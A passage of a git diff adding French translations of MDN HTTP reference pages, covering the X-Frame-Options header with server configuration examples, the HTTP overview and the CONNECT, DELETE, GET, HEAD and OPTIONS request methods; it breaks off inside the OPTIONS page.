+<p>Si on utilise <code>deny</code>, le chargement de la page dans une <em>frame</em> échouera sur un site tiers mais aussi sur un site de la même origine. En revanche, si on utilise <code>sameorigin</code>, on peut toujours utiliser le document dans une <em>frame</em> si celle-ci partage la même origine.</p>
+
+<dl>
+ <dt><code>deny</code></dt>
+ <dd>La page ne peut pas être affichée dans une <em>frame</em>, quand bien même un site tiers tenterait de la charger.</dd>
+ <dt><code>sameorigin</code></dt>
+ <dd>La page ne peut être affichée que dans une <em>frame</em> avec une origine qui est la même que la page elle-même. La spécification laisse le choix au navigateur de décider si cela s'applique au niveau le plus haut, au conteneur parent ou à l'ensemble de la chaîne des <em>frames </em>potentiellement imbriquées. Il est parfois avancé que cette option n'est pas très utile à moins que l'ensemble des ancêtres partage la même origine (cf. {{bug(725490)}}). Voir aussi le tableau de compatibilité ci-après pour plus de détails sur la prise en charge de cette directive.</dd>
+ <dt><code>allow-from <em>uri</em></code><em> (obsolète)</em></dt>
+ <dd>Une directive obsolète qui ne fonctionne plus dans les navigateurs récents et qui ne doit donc plus être utilisée. Pour les navigateurs historiques, cette directive permettait d'indiquer une origine via une URI afin d'autoriser l'affichage du document dans les <em>frames</em> chargées depuis cette origine. Pour les anciennes versions de Firefox, on a le même problème qu'avec <code>sameorigin</code> : il n'y a pas de vérifications des différents ancêtres pour voir s'ils partagent la même origine. À la place, on utilisera la directive <code>frame-ancestors</code> de l'en-tête {{HTTPHeader("Content-Security-Policy")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="note">
+<p><strong>Note :</strong> La balise <code>&lt;meta&gt;</code> est inutile ici ! <code>&lt;meta http-equiv="X-Frame-Options" content="deny"&gt;</code> n'aura aucun effet et mieux vaut donc ne pas l'utiliser.</p>
+</div>
+
+<h3 id="Configurer_Apache">Configurer Apache</h3>
+
+<p>On peut configurer Apache afin d'envoyer l'en-tête <code>X-Frame-Options</code> pour toutes les pages. Dans la configuration, on ajoutera :</p>
+
+<pre>Header always set X-Frame-Options "sameorigin"
+</pre>
+
+<p>Si on veut utiliser la valeur <code>deny</code>, on pourra utiliser ceci dans la configuration :</p>
+
+<pre>Header set X-Frame-Options "deny"
+</pre>
+
+<h3 id="Configurer_NGINX">Configurer NGINX</h3>
+
+<p>Avec NGINX, on pourra ajouter la ligne suivante à la configuration HTTP, serveur ou à la configuration de l'emplacement (<em>location</em>) :</p>
+
+<pre>add_header X-Frame-Options sameorigin always;
+</pre>
+
+<h3 id="Configurer_IIS">Configurer IIS</h3>
+
+<p>Pour IIS, on complètera le fichier <code>Web.config</code> :</p>
+
+<pre class="brush: xml">&lt;system.webServer&gt;
+  ...
+
+  &lt;httpProtocol&gt;
+    &lt;customHeaders&gt;
+      &lt;add name="X-Frame-Options" value="sameorigin" /&gt;
+    &lt;/customHeaders&gt;
+  &lt;/httpProtocol&gt;
+
+  ...
+&lt;/system.webServer&gt;
+</pre>
+
+<h3 id="Configurer_HAProxy">Configurer HAProxy</h3>
+
+<p>Pour HAProxy, on ajoutera la ligne suivante à la configuration du <em>front</em>, du <em>listen</em> ou du <em>backend</em> :</p>
+
+<pre>rspadd X-Frame-Options:\ sameorigin
+</pre>
+
+<p>Dans les versions plus récentes, voici la forme équivalente :</p>
+
+<pre>http-response set-header X-Frame-Options sameorigin
+</pre>
+
+<h3 id="Configurer_Express_Utiliser_frameguard_en_Node.js">Configurer Express / Utiliser frameguard en Node.js</h3>
+
+<p>Si on utilise Express, on pourra utiliser le module <a href="https://helmetjs.github.io/">helmet</a> qui tire parti de <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> afin de régler cet en-tête :</p>
+
+<pre class="brush: js">const helmet = require('helmet');
+const app = express();
+app.use(helmet.frameguard({ action: "sameorigin" }));
+</pre>
+
+<p>On pourra également utiliser <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> directement :</p>
+
+<pre class="brush: js">const frameguard = require('frameguard')
+app.use(frameguard({ action: 'sameorigin' }))
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7034")}}</td>
+   <td><em>HTTP Header Field X-Frame-Options</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("http.headers.X-Frame-Options")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors"><code>frame-ancestors</code></a> lié à la configuration de la stratégie CSP via {{HTTPHeader("Content-Security-Policy")}}</li>
+</ul>
diff --git a/files/fr/web/http/index.html b/files/fr/web/http/index.html
new file mode 100644
index 0000000000..b88da0690e
--- /dev/null
+++ b/files/fr/web/http/index.html
@@ -0,0 +1,87 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+  - Accueil
+  - HTTP
+  - Reference
+  - TCP/IP
+  - Web
+  - Web Development
+translation_of: Web/HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong><dfn>Hypertext Transfer Protocol (HTTP)</dfn></strong> est un protocole de <a class="external" href="https://fr.wikipedia.org/wiki/Couche_application">la couche application</a> servant à transmettre des documents hypermédia, comme HTML. Il a été conçu pour communiquer entre les navigateurs web et les serveurs web, bien qu'il puisse être utilisé à d'autres fins. Il suit le modèle classique <a class="external" href="https://fr.wikipedia.org/wiki/Client-serveur">client-serveur</a>, un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un <a class="external" href="https://fr.wikipedia.org/wiki/Protocole_sans_%C3%A9tat">protocole sans état</a>, ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes. Bien que généralement basé sur une couche TCP/IP, HTTP peut aussi être utilisé sur toute <a class="external" href="https://fr.wikipedia.org/wiki/Couche_transport">couche de transport</a> fiable, garantissant qu'aucune donnée ne peut être perdue en chemin, contrairement à UDP par exemple.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Tutoriels">Tutoriels</h2>
+
+<p>Apprenez comment utiliser HTTP avec des guides et des tutoriels.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTTP/Overview">Aperçu du protocole HTTP</a></dt>
+ <dd>Les fonctionnalités de base de ce protocole client-serveur : ce qui est permis par HTTP ainsi que le cadre d'utilisation de ce protocole.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Caching">La mise en cache avec HTTP</a></dt>
+ <dd>La mise en cache est critique pour permettre aux sites web d'être rapides. Cet article décrit les différentes méthodes de mise en cache et comment utiliser les en-têtes HTTP afin de contrôler le cache.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Cookies">Les cookies HTTP</a></dt>
+ <dd>Le fonctionnement des cookies est décrit dans la <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>. Lorsqu'un serveur répond à une requête HTTP, ce dernier peut envoyer un en-tête <code>Set-Cookie</code> avec la réponse. Le client retourne alors la valeur du cookie lors de chaque requête vers ce serveur via un en-tête <code>Cookie</code> dans la requête. Le cookie peut posséder une date d'expiration, être restreint à un domaine spécifique ou à un chemin d'accès donné.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></dt>
+ <dd><strong>Les requêtes HTTP cross-sites</strong> sont des requêtes HTTP pour des ressources situées dans un <strong>domaine différent</strong> de celui dans lequel se situe la ressource qui effectue la requête. Par exemple, une page HTML d'un domaine A (<code>http://domainea.example/</code>) effectue une requête pour une image au sein du domaine B (<code>http://domaineb.foo/image.jpg</code>) à l'aide de la balise <code>img</code>. Les pages web actuelles effectuent souvent des requêtes cross-sites pour charger des éléments comme des feuilles de style CSS, des images, des scripts ou d'autres ressources. CORS permet aux développeurs web de contrôler comment leur site doit se comporter lorsqu'il reçoit des requêtes cross-sites.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Évolution du protocole HTTP</a></dt>
+ <dd>Une brève description des changements qui ont eu lieu entre les toutes premières versions de HTTP jusqu'à la version HTTP/2 et au-delà.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Guide de sécurité Mozilla pour le Web</a></dt>
+ <dd>Une liste d'astuces visant à aider les équipes opérationnelles afin de créer des applications web mieux sécurisées (en anglais).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTTP/Messages">Les messages HTTP</a></dt>
+ <dd>Une description des types et structures de chaque message pour HTTP/1.x et HTTP/2.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Session">Une session HTTP classique</a></dt>
+ <dd>Un exemple et l'explication du déroulement d'une session HTTP classique.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x">La gestion des connexions pour HTTP/1.x</a></dt>
+ <dd>Un aperçu des trois modèles de gestion de connexion disponibles pour HTTP/1.x ainsi que leurs forces et faiblesses respectives.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Référence">Référence</h2>
+
+<p>Naviguez dans la documentation détaillée de HTTP.</p>
+
+<dl>
+ <dt><a href="/fr/docs/HTTP/Headers">Les en-têtes HTTP</a></dt>
+ <dd>Les messages d'en-tête HTTP sont utilisés pour décrire précisément la ressource ou le comportement du client ou du serveur. Un en-tête propriétaire sur mesure peut être ajouté en utilisant le préfixe <code>X-</code> ; d'autres en-têtes sont disponibles dans le <a class="external" href="https://www.iana.org/assignments/message-headers/perm-headers.html">registre de l'IANA</a>, dont le contenu original a été défini dans le <a class="external" href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>. L'IANA maintient aussi un <a class="external" href="https://www.iana.org/assignments/message-headers/prov-headers.html">registre des nouveaux messages d'en-tête HTTP qui sont proposés</a>.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Methods">Les méthodes de requête HTTP</a></dt>
+ <dd>Différentes opérations peuvent être effectuées avec HTTP : les plus connues {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, mais aussi des requêtes comme {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}} ou {{HTTPMethod("TRACE")}}.</dd>
+ <dt><a href="/fr/docs/Web/HTTP/Response_codes">Les codes de réponse HTTP</a></dt>
+ <dd>Les codes de réponses HTTP indiquent si une requête HTTP a été complétée avec succès. Les réponses sont regroupées en cinq classes : les réponses informationnelles, les réponses de succès, les redirections, les erreurs client et les erreurs serveur.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy">Les directives CSP</a></dt>
+ <dd>Les champs de l'en-tête de réponse {{HTTPHeader("Content-Security-Policy")}} permettent aux administrateurs de contrôler les ressources accessibles pour un agent utilisateur au sein d'une page donnée. De manière générale, il s'agit de directives relatives à l'origine du serveur ainsi qu'aux points de terminaison des scripts.</dd>
+</dl>
+
+<h2 id="Outils_et_ressources">Outils et ressources</h2>
+
+<p>Outils utiles pour utiliser et déboguer HTTP.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Tools">Firefox Developer Tools</a></dt>
+ <dd><a href="/fr/docs/Tools/Network_Monitor">Moniteur réseau</a></dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
+ <dd>
+ <p>Un projet conçu pour aider les développeurs, les administrateurs système ainsi que les professionnels de la sécurité à configurer leur site de manière sûre et sécurisée.</p>
+ </dd>
+ <dt><a class="external" href="https://redbot.org/">RedBot</a></dt>
+ <dd>Des outils pour vérifier vos en-têtes liés à la gestion du cache.</dd>
+ <dt><a href="https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How Browsers Work</a></dt>
+ <dd>Un article détaillé sur le fonctionnement d'un navigateur et l'organisation des requêtes HTTP durant la navigation. Un article à lire pour tout développeur web (en anglais).</dd>
+</dl>
+</div>
+</div>
diff --git a/files/fr/web/http/index/index.html b/files/fr/web/http/index/index.html
new file mode 100644
index 0000000000..0b2c522847
--- /dev/null
+++ b/files/fr/web/http/index/index.html
@@ -0,0 +1,15 @@
+---
+title: Index
+slug: Web/HTTP/Index
+tags:
+  - HTTP
+  - Index
+translation_of: Web/HTTP/Index
+---
+<p>{{HTTPSidebar}}</p>
+
+<h2 id="Pages_MDN_HTTP">Pages MDN HTTP</h2>
+
+<p>Cette page liste toutes les pages de MDN sur le HTTP avec leur résumé et balises.</p>
+
+<p>{{Index("fr/docs/Web/HTTP")}}</p>
diff --git a/files/fr/web/http/méthode/connect/index.html b/files/fr/web/http/méthode/connect/index.html
new file mode 100644
index 0000000000..62b1ee7d6c
--- /dev/null
+++ b/files/fr/web/http/méthode/connect/index.html
@@ -0,0 +1,86 @@
+---
+title: CONNECT
+slug: Web/HTTP/Méthode/CONNECT
+tags:
+  - HTTP
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode HTTP <code>CONNECT</code></strong> crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel.</p>
+
+<p>Par exemple, la méthode <code>CONNECT</code> peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client.</p>
+
+<p><code>CONNECT</code> est une méthode "saut-par-saut".</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête a un corps</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse de succès a un corps</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Sûre")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Peut être mise en cache")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisée dans les  <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}.</p>
+
+<pre class="line-numbers  language-html">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/methods", "CONNECT")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/fr/web/http/méthode/delete/index.html b/files/fr/web/http/méthode/delete/index.html
new file mode 100644
index 0000000000..d2a40a8ea9
--- /dev/null
+++ b/files/fr/web/http/méthode/delete/index.html
@@ -0,0 +1,93 @@
+---
+title: DELETE
+slug: Web/HTTP/Méthode/DELETE
+tags:
+  - HTTP
+  - HTTP method
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/DELETE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode HTTP DELETE</strong> supprime la ressource indiquée.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse de succès a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Sûre")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Peut être mise en cache")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisée dans les  <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">DELETE /file.html HTTP/1.1
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Requête">Requête</h3>
+
+<pre>DELETE /file.html HTTP/1.1</pre>
+
+<h3 id="Réponses">Réponses</h3>
+
+<p>Si une méthode <code>DELETE</code> est appliquée avec succès, il y a plusieurs codes de statut de réponse possibles :</p>
+
+<ul>
+ <li>Un code de statut {{HTTPStatus("202")}} (<code>Accepted</code>) si l'action est en passe de réussir mais n'a pas encore été confirmée.</li>
+ <li>Un code de statut {{HTTPStatus("204")}} (<code>No Content</code>) si l'action a été confirmée et qu'aucune information supplémentaire n'est à fournir.</li>
+ <li>Un code de statut {{HTTPStatus("200")}} (<code>OK</code>) si l'action a été confirmée et que le message de réponse inclut une représentation décrivant le statut.</li>
+</ul>
+
+<pre>HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;h1&gt;File deleted.&lt;/h1&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "DELETE", "4.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/fr/web/http/méthode/get/index.html b/files/fr/web/http/méthode/get/index.html
new file mode 100644
index 0000000000..008f479d98
--- /dev/null
+++ b/files/fr/web/http/méthode/get/index.html
@@ -0,0 +1,73 @@
+---
+title: GET
+slug: Web/HTTP/Méthode/GET
+tags:
+  - HTTP
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode HTTP GET</strong> demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse de succès a un corps</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe","Sûre")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable","Peut être mise en cache")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisée dans les formulaires HTML</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">GET /index.html
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/methods", "GET")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/fr/web/http/méthode/head/index.html b/files/fr/web/http/méthode/head/index.html
new file mode 100644
index 0000000000..f89bbdde39
--- /dev/null
+++ b/files/fr/web/http/méthode/head/index.html
@@ -0,0 +1,77 @@
+---
+title: HEAD
+slug: Web/HTTP/Méthode/HEAD
+tags:
+  - HTTP
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/HEAD
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode HTTP <code>HEAD</code></strong> demande les en-têtes qui seraient retournés si la ressource spécifiée était demandée avec une méthode HTTP {{HTTPMethod("GET")}}. Une telle requête peut être envoyée avant de procéder au téléchargement d'une  ressource volumineuse, par exemple pour économiser de la bande passante.</p>
+
+<p>Une réponse issue d'une requête <code>HEAD</code> ne doit pas avoir de corps. Si tel est le cas, elle doit être ignorée. Toutefois, les {{glossary("En-têtes d'entité", "en-têtes d'entité")}} décrivant le contenu du corps, comme {{HTTPHeader("Content-Length")}}, peuvent être inclus dans la réponse. Ils ne sont pas liés au corps de la réponse <code>HEAD</code> , qui doit être vide, mais au corps d'une réponse issue d'une requête similaire utilisant la méthode {{HTTPMethod("GET")}}.</p>
+
+<p>Si le résultat d'une requête <code>HEAD</code> montre qu'une ressource mise en cache après une requête {{HTTPMethod("GET")}} est désormais dépassée, le cache est invalidé, même si aucune requête GET n'a été émise.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse de succès a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Sûre")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Peut être mise en cache")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisée dans les  <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">HEAD /index.html
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "HEAD", "4.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/methods", "HEAD")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}</li>
+</ul>
diff --git a/files/fr/web/http/méthode/index.html b/files/fr/web/http/méthode/index.html
new file mode 100644
index 0000000000..25ae456c7c
--- /dev/null
+++ b/files/fr/web/http/méthode/index.html
@@ -0,0 +1,73 @@
+---
+title: Méthodes de requête HTTP
+slug: Web/HTTP/Méthode
+tags:
+  - HTTP
+  - Méthodes
+  - Reference
+translation_of: Web/HTTP/Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP définit un ensemble de <strong>méthodes de requête</strong> qui indiquent l'action que l'on souhaite réaliser sur la ressource indiquée. Bien qu'on rencontre également des noms (en anglais), ces méthodes sont souvent appelées <em>verbes HTTP</em>. Chacun d'eux implémente une sémantique différente mais certaines fonctionnalités courantes peuvent être partagées par différentes méthodes (e.g. une méthode de requête peut être sûre (<em>safe</em>), idempotente ou être mise en cache (<em>cacheable</em>)).</p>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/GET">GET</a></code></dt>
+ <dd>La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.</dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/HEAD">HEAD</a></code></dt>
+ <dd>La méthode <code>HEAD</code> demande une réponse identique à une requête GET pour laquelle on aura omis le corps de la réponse (on a uniquement l'en-tête).</dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/POST">POST</a></code></dt>
+ <dd>La méthode <code>POST</code> est utilisée pour envoyer une entité vers la ressource indiquée. Cela  entraîne généralement un changement d'état ou des effets de bord sur le serveur.</dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/PUT">PUT</a></code></dt>
+ <dd>
+ <p>La méthode <code>PUT</code> remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête.</p>
+ </dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/DELETE">DELETE</a></code></dt>
+ <dd>La méthode <code>DELETE</code> supprime la ressource indiquée.</dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/CONNECT">CONNECT</a></code></dt>
+ <dd>
+ <p>La méthode <code>CONNECT</code> établit un tunnel vers le serveur identifié par la ressource cible.</p>
+ </dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/OPTIONS">OPTIONS</a></code></dt>
+ <dd>La méthode <code>OPTIONS</code> est utilisée pour décrire les options de communications avec la ressource visée.</dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/TRACE">TRACE</a></code></dt>
+ <dd>
+ <p>La méthode <code>TRACE</code> réalise un message de test aller/retour en suivant le chemin de la ressource visée.</p>
+ </dd>
+ <dt><code><a href="/fr/docs/Web/HTTP/Méthode/PATCH">PATCH</a></code></dt>
+ <dd>La méthode <code>PATCH</code> est utilisée pour appliquer des modifications partielles à une ressource.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Request methods", "4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Définition de GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS et TRACE.</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "Patch method", "2")}}</td>
+   <td>PATCH Method for HTTP</td>
+   <td>Définition de PATCH.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Ce tableau de compatibilité a été généré à partir de données structurée. Pour contribuer à ces données, vous pouvez écrire une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat("http/methods")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/HTTP/Headers">Les en-têtes (<em>headers</em>) HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/méthode/options/index.html b/files/fr/web/http/méthode/options/index.html
new file mode 100644
index 0000000000..ccdd97ef59
--- /dev/null
+++ b/files/fr/web/http/méthode/options/index.html
@@ -0,0 +1,124 @@
+---
+title: OPTIONS
+slug: Web/HTTP/Méthode/OPTIONS
+translation_of: Web/HTTP/Methods/OPTIONS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode HTTP <code>OPTIONS</code></strong> est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (*) pour interroger le serveur dans sa globalité.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse de succès a un corps</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Sûre")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
